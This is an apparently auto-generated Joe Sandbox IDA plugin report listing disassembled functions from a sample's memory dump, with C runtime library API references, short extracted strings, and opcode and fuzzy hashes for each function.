Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: fed3c289392dc0784cef5811bbcabe07ffa1fda064f23b20c699a1d618b7c4c2
Instruction ID: 97a7bd558ed4af456dfc3f18a6ae4417f286aee5f099ba5043ce36dde262162d
Opcode Fuzzy Hash: fed3c289392dc0784cef5811bbcabe07ffa1fda064f23b20c699a1d618b7c4c2
Instruction Fuzzy Hash: ACA193B0E002299BDF24DF54DC85BAEB374AF84304F54419AE6097B282D778AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 004159BA Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415BA8
__inc.LIBCMTD ref: 00415BDA
__inc.LIBCMTD ref: 00415C99
__mbtowc_l.LIBCMTD ref: 00415CDB

Strings

c, xrefs: 00415D55
, xrefs: 00415C13

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: $c
API String ID: 579247601-3797896886
Opcode ID: 90bd799570855e3aa21445cc3b4d03cc1d081385ba4c874af3f5feb736eddb03
Instruction ID: e65b4091b4241910fb0f8d602ed1c752812cd985556a7ff4f28f725e46536d2d
Opcode Fuzzy Hash: 90bd799570855e3aa21445cc3b4d03cc1d081385ba4c874af3f5feb736eddb03
Instruction Fuzzy Hash: 4B91AF70D05658DBCF24CF95D8946EEBB71AF85308F24819AD8296B342D7389AC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 004198A7 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 100windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 0041994B
__invoke_watson_if_oneof.LIBCMTD ref: 0041997E
_wcscpy_s.LIBCMTD ref: 004199C0
__invoke_watson_if_error.LIBCMTD ref: 004199C9
___crtMessageBoxW.LIBCMTD ref: 004199E2
_raise.LIBCMTD ref: 004199FB

Strings

^8@, xrefs: 004198CF
`C@, xrefs: 00419918, 0041991E

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: ^8@$`C@
API String ID: 1485069716-2488483330
Opcode ID: e4b69c0abc8d4421afd5244a6397d2cbca99b8fa3055fd490e8305ee3657c7c5
Instruction ID: 74e01caeef5cfa812bcc40225c34d6e47e3adb3669586b3f582c9f611a1e5bd6
Opcode Fuzzy Hash: e4b69c0abc8d4421afd5244a6397d2cbca99b8fa3055fd490e8305ee3657c7c5
Instruction Fuzzy Hash: 4B3189B5E40218BBDB24DB95DC56FDA73B46B48744F0041AEF308762C1D6B85AC48F99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0C5 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040C0D9
__CrtIsValidHeapPointer.LIBCMTD ref: 0040C165
_CheckBytes.LIBCMTD ref: 0040C210
_CheckBytes.LIBCMTD ref: 0040C2CA
_memset.LIBCMT ref: 0040C3C1
__free_base.LIBCMTD ref: 0040C3CD

Strings

tDj, xrefs: 0040C11B

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: cca93d25df918e50f0c18dd8109196f4df33bb0cff69fbdc990a9254475e789c
Instruction ID: 767f7dc9f55bef39bdf16322993d9f8875244f03bb7db17f5a03444ea6763181
Opcode Fuzzy Hash: cca93d25df918e50f0c18dd8109196f4df33bb0cff69fbdc990a9254475e789c
Instruction Fuzzy Hash: 0D91B374A40204FBDB14DB94DD82F6A7366AB48704F304269F6047B2C2D279EE41DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 004159F4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415BA8
__inc.LIBCMTD ref: 00415BDA
__inc.LIBCMTD ref: 00415C99
__mbtowc_l.LIBCMTD ref: 00415CDB

Strings

{, xrefs: 00415C1C
, xrefs: 00415C13

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: ${
API String ID: 579247601-4046706400
Opcode ID: a436b9745394fe2c3a1c98c1b9a51f6c5deae27a9124e6303f107c19afc87f20
Instruction ID: 835731fba1ee7f1e4781046d92827668d8a903a2b04a6b81f3a74ef6efd9ae56
Opcode Fuzzy Hash: a436b9745394fe2c3a1c98c1b9a51f6c5deae27a9124e6303f107c19afc87f20
Instruction Fuzzy Hash: 0841E2B0D05758DBCF24DF95D8846EEB771AF84304F14C1AAE429A7202E7389AC4CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424517 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767

Strings

9, xrefs: 00424778
', xrefs: 00424517
0, xrefs: 00424533

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 789b410b68b075bf43f8226d1b237c3ace9b706c16d34f352990d00748a335ad
Instruction ID: 39150f6c6ba8ae32fa7d225a07ad420b30ab4eb1697cf584c4365cb5770a4bd1
Opcode Fuzzy Hash: 789b410b68b075bf43f8226d1b237c3ace9b706c16d34f352990d00748a335ad
Instruction Fuzzy Hash: C441F471E06229DFDB24CF98D889BAEB7B5FB85304F6081DAD059A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00417AF8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417B59
__aullrem.LIBCMT ref: 00417D26
__aulldiv.LIBCMT ref: 00417D48

Strings

0, xrefs: 00417B14
', xrefs: 00417AF8
9, xrefs: 00417D59

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 35c7d0100294ab9e7f7dc34d5c290a00823b75f6699cb22458e32d9e0df03683
Instruction ID: b75816621c1a2d510eafe0faee9bd911d24fed923603ebc09682b34a1e404830
Opcode Fuzzy Hash: 35c7d0100294ab9e7f7dc34d5c290a00823b75f6699cb22458e32d9e0df03683
Instruction Fuzzy Hash: 0D41F271E082299FDB64DF48C989BEEB7B5BB84304F1045DAE009AB341D7389AC0DF85

Uniqueness

Uniqueness Score: -1.00%

Function 00415D9A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415DF9
__inc.LIBCMTD ref: 00415E2C
_isxdigit.LIBCMTD ref: 00415F4D
__hextodec.LIBCMTD ref: 00415F80
_isdigit.LIBCMTD ref: 00415FA6
__inc.LIBCMTD ref: 00416090
__un_inc.LIBCMTD ref: 004160B4

Strings

p, xrefs: 00415F3F
0, xrefs: 00415DDF

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isdigit_isxdigit
String ID: 0$p
API String ID: 500523077-2059906072
Opcode ID: 903fc1732da81664b49c4e73a9df659ff880633d693b7e1a4c11adf60d8077b0
Instruction ID: a5726f8a305fafeecd18f0e29c2d59a18f91a25a99e4c9fffa3c35044cebbbcc
Opcode Fuzzy Hash: 903fc1732da81664b49c4e73a9df659ff880633d693b7e1a4c11adf60d8077b0
Instruction Fuzzy Hash: 61413BB4D04669CECF25CF65C8943EEBBB5AF44308F2481EBD41966242D2399AC6CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424504 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767

Strings

9, xrefs: 00424778
0, xrefs: 00424533

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: dbf4628c626bbc246e07c9b06054f2cdf4cb56be0aea206cd8c2af5f349a4e6d
Instruction ID: a531ba6d5cb3abb8aacad7a045475d7aca2d7b9d682522c744214eeba4855b21
Opcode Fuzzy Hash: dbf4628c626bbc246e07c9b06054f2cdf4cb56be0aea206cd8c2af5f349a4e6d
Instruction Fuzzy Hash: E3410571E05228DFDB24CF88E889BAEB7B5FB85304F6081DAD049A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00417AE5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417B59
__aullrem.LIBCMT ref: 00417D26
__aulldiv.LIBCMT ref: 00417D48

Strings

0, xrefs: 00417B14
9, xrefs: 00417D59

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: a1f8f85ef62d226b9ffd89cff7405feb79356483e1fb6527d7b8dfd9b3fc2ab1
Instruction ID: 665b6debfd074ab089eeaeaee1c37d08e30414197170078063f679a3cd87878a
Opcode Fuzzy Hash: a1f8f85ef62d226b9ffd89cff7405feb79356483e1fb6527d7b8dfd9b3fc2ab1
Instruction Fuzzy Hash: 89410571E082299FDB60DF48C989BEEB7B5BB44304F1041DAD049A7341D7389AC0DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF99 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2

Strings

9, xrefs: 0042D203
', xrefs: 0042CF99

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: a212478d12ef5e88875abeb5c9849cea756504f86f7e2066743bbf78b1236b7c
Instruction ID: 3abe5c4315c8f5fc20de022526b452cff1f04c075f13ed5efb11f76e7605b509
Opcode Fuzzy Hash: a212478d12ef5e88875abeb5c9849cea756504f86f7e2066743bbf78b1236b7c
Instruction Fuzzy Hash: 474127B1E001299FDB24CF58DD81BAEB7B5FF85314F50409AD148AB241C7789E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00415EC7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415F15
_isxdigit.LIBCMTD ref: 00415F4D
__hextodec.LIBCMTD ref: 00415F80

Strings

p, xrefs: 00415F3F
+, xrefs: 00415EE0

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __hextodec__inc_isxdigit
String ID: +$p
API String ID: 3003077261-1790238857
Opcode ID: d8178676200ed332399ac5c3eebb8c72b20355818b6d96d7f253c76fa602cd95
Instruction ID: 24b3c9e537a187757dc1ef649e66d319aa326464ced09195fc2deef3307c944a
Opcode Fuzzy Hash: d8178676200ed332399ac5c3eebb8c72b20355818b6d96d7f253c76fa602cd95
Instruction Fuzzy Hash: D9313BB0D046A9CECF25CF65C8543EEBF71AF49308F1481EAD44966242D2399AC6CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00414D71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00414DD8
__set_error_mode.LIBCMTD ref: 00414DE7
_strlen.LIBCMT ref: 00414E24

Strings

jjj, xrefs: 00414DC0
t/j, xrefs: 00414E11

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __set_error_mode$_strlen
String ID: jjj$t/j
API String ID: 3008368703-194299851
Opcode ID: 464a9da122e0128f50cb7cbd12e6fae0dc2e60ad166eb6073ee6f7f7e22a59cd
Instruction ID: a9518af9aca137ce62f356a31b53d03ebd4ec5462ff61c4e8a1149afa872d7ef
Opcode Fuzzy Hash: 464a9da122e0128f50cb7cbd12e6fae0dc2e60ad166eb6073ee6f7f7e22a59cd
Instruction Fuzzy Hash: 4B21D374900208FBEF24CF84E945BEE3370FB85304F24416BE805A6391D3799E90DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__raise_exc.LIBCMTD ref: 0041DF21

Part of subcall function 0041E4F0: __raise_exc_ex.LIBCMTD ref: 0041E50F

__umatherr.LIBCMTD ref: 0041DF76

Part of subcall function 0041E830: __ctrlfp.LIBCMTD ref: 0041E880

__ctrlfp.LIBCMTD ref: 0041DF9A

Strings

Q., xrefs: 0041DF2C
RB, xrefs: 0041DF88

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __ctrlfp$__raise_exc__raise_exc_ex__umatherr
String ID: Q.$RB
API String ID: 3448981373-1859500299
Opcode ID: d0c3480217b9f4139c17bbfa8698c80afa6a3d1fed7586dcdb2c46ba1bbb8e96
Instruction ID: 4d1b09039bc37fd57adbf80bd05dc50cf6f66550aa18dc65886d20bfd4b5ab9b
Opcode Fuzzy Hash: d0c3480217b9f4139c17bbfa8698c80afa6a3d1fed7586dcdb2c46ba1bbb8e96
Instruction Fuzzy Hash: 9711A5F6900104DBCF14EF95DCC2A9A7374BF48308F0446ADED454B146DA35D9A8CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409F7D Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0040A025

Part of subcall function 0040E4C0: __encode_pointer.LIBCMTD ref: 0040E5A1

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: c66294dd437992085de918e43f0ce585a13288baecd32da51b908f13a25683cb
Instruction ID: 4f71aa223d5a5870d7119f87dc0b4a288f6dfc6b6327104dc9a1076a40c9ba97
Opcode Fuzzy Hash: c66294dd437992085de918e43f0ce585a13288baecd32da51b908f13a25683cb
Instruction Fuzzy Hash: 0D413631C04708D6CB21BF39DA4616EB7B0EF84345F108B7AF88875291EB388A59C34B

Uniqueness

Uniqueness Score: -1.00%

Function 00426894 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004268F3
_memset.LIBCMT ref: 0042697C
__invalid_parameter.LIBCMTD ref: 004269DB

Strings

P, xrefs: 004269F0

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: bcbb06c29154eeca6fc95a57d8c1480f284ac6a2220c8c02a1c3e24074d612aa
Instruction ID: 0ef65a3ed71e04e38f5bca41448adae12edad044c09447841905f9e3868ad061
Opcode Fuzzy Hash: bcbb06c29154eeca6fc95a57d8c1480f284ac6a2220c8c02a1c3e24074d612aa
Instruction Fuzzy Hash: 3741AA70E00359DBCB14DF68E8457AE7770FB81329F61826AE8246B3C0D7799990CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF86 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2

Strings

9, xrefs: 0042D203

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 64a90f2d4be0e2bfca1aeffdabb822d097ad3d724abca5919cce7bc9ae008417
Instruction ID: 4fe66469e981caed19d17602546848ac74b801701cdec93cd8023a444f72a4f0
Opcode Fuzzy Hash: 64a90f2d4be0e2bfca1aeffdabb822d097ad3d724abca5919cce7bc9ae008417
Instruction Fuzzy Hash: 2D4136B0E001299FDB24CF48DD81BAEB7B5FF85314F50409AE148AB241C7789E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042454C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767

Strings

9, xrefs: 00424778

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: c7682bc408faba915b13212d2bc31a4834e275ea9f7c444f0ac56b712551be38
Instruction ID: c742c05a97f008d2f97410461e5b474278686064f5e233de4fc2cd708c1b9a2f
Opcode Fuzzy Hash: c7682bc408faba915b13212d2bc31a4834e275ea9f7c444f0ac56b712551be38
Instruction Fuzzy Hash: 4241E471E01629DFEB24CF88D889BAEB7B5FB85304F60819AD019A7240C7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00417B2D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417B59
__aullrem.LIBCMT ref: 00417D26
__aulldiv.LIBCMT ref: 00417D48

Strings

9, xrefs: 00417D59

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 23b6a73943eb48f64fe505da92091fc09011ec1214821706c2e8630e18127dc1
Instruction ID: c0db718e7d40a649a0a2dde42c51ee00f7c44be98abd5aa57dcf3e8d3dd38241
Opcode Fuzzy Hash: 23b6a73943eb48f64fe505da92091fc09011ec1214821706c2e8630e18127dc1
Instruction Fuzzy Hash: 4C41E371E086299FDB64DF48C989BEEB7B5BB84304F10859AE049A7340D7389EC0CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0042CFD4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2

Strings

9, xrefs: 0042D203

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: bd226a4a4020efa8494d8a19407e76819f085cafc809bb271a7dc1cfca2ff8e0
Instruction ID: 86ef1da00a68aefa072a0711778ef14cc24df115d799e06279c175f12f479282
Opcode Fuzzy Hash: bd226a4a4020efa8494d8a19407e76819f085cafc809bb271a7dc1cfca2ff8e0
Instruction Fuzzy Hash: FE4106B1E0012A9FDB24CF48DD81BAEB7B5FF85314F5045AAD148A7241C7389E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004244FB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
_get_int64_arg.LIBCMTD ref: 004245A0
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767

Strings

9, xrefs: 00424778

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: c425e278d7fc1f5c96643a3650f295e54296c8abdf08653debee2f3db935b5bc
Instruction ID: 34b78fea14578c2dd1462605bbab7b58baa79729f14af418d338dcff13cfce14
Opcode Fuzzy Hash: c425e278d7fc1f5c96643a3650f295e54296c8abdf08653debee2f3db935b5bc
Instruction Fuzzy Hash: 6441D4B1E05628DFDB24CF58E889BAEB7B5FB85304F6081DAD009A7240C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00417ADC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417B59
_get_int64_arg.LIBCMTD ref: 00417B81
__aullrem.LIBCMT ref: 00417D26
__aulldiv.LIBCMT ref: 00417D48

Strings

9, xrefs: 00417D59

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5eed1dd7b4b4824eca1904ddcb84355627e666959020b580de447aefeb0b396d
Instruction ID: 3f3d66cce68f1192e332820fc2923ba2a5d3cf23b5b3e33e1ab355be97bb8d9f
Opcode Fuzzy Hash: 5eed1dd7b4b4824eca1904ddcb84355627e666959020b580de447aefeb0b396d
Instruction Fuzzy Hash: 0441D1B1E086299FDB64DF58D989BEEB7B5BB85304F10459AE009A7340D7389AC0CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF7D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
_get_int64_arg.LIBCMTD ref: 0042D028
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2

Strings

9, xrefs: 0042D203

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 78b67eb0f456a2c3ac797c829ff8b93ab7877f0542cf1b1614b613c68cfc1f77
Instruction ID: f659c32a9192b60f370526d04667895e66e57e35e5e1986054bd015417eb45a3
Opcode Fuzzy Hash: 78b67eb0f456a2c3ac797c829ff8b93ab7877f0542cf1b1614b613c68cfc1f77
Instruction Fuzzy Hash: 104115B1E001299FDB24CF48DD81BAEB7B5FB85314F5041DAE248A7201C7389E81CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F780 Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0041F79A
_$I10_OUTPUT.LIBCMTD ref: 0041F7C2
_wcscpy_s.LIBCMTD ref: 0041F802

Part of subcall function 0040D5F0: __invalid_parameter.LIBCMTD ref: 0040D662

__invoke_watson_if_error.LIBCMTD ref: 0041F80B

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: 8df67f43236d5330977455c06ed8844b41becd1ab5c09577f4fc19ec3334a221
Instruction ID: 2775cfe2b9853f7f4d9ddc1e73e503f094be1e4ddf7b630a81f95180c0b00d11
Opcode Fuzzy Hash: 8df67f43236d5330977455c06ed8844b41becd1ab5c09577f4fc19ec3334a221
Instruction Fuzzy Hash: 19216DB5A002089BCB04EFA4DC82EDEB7F4BF8C304F148569F80567381E634E915CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415777 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041592F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

n, xrefs: 0041595A

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: b88fb38a14af09ba93c34b06abbd0396d1c58cef5ef076fbea834cd8b4db25de
Instruction ID: ca26d70b7e6c17a5b17bd6e1d72da019596efbf6915680228961dadd6afc74c5
Opcode Fuzzy Hash: b88fb38a14af09ba93c34b06abbd0396d1c58cef5ef076fbea834cd8b4db25de
Instruction Fuzzy Hash: E3418CB0D01659CBCF24CF55D4943EEBBB1AF41325F24819BD4656A281D3388ED1CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004157A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041592F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

n, xrefs: 0041595A

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 3d3a0eea93c702cdc0f17dde8c2fa10045c5b5acde8b751d3d5e8021022a3eae
Instruction ID: ca26d70b7e6c17a5b17bd6e1d72da019596efbf6915680228961dadd6afc74c5
Opcode Fuzzy Hash: 3d3a0eea93c702cdc0f17dde8c2fa10045c5b5acde8b751d3d5e8021022a3eae
Instruction Fuzzy Hash: E3418CB0D01659CBCF24CF55D4943EEBBB1AF41325F24819BD4656A281D3388ED1CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00415867 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041592F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

n, xrefs: 0041595A

Memory Dump Source

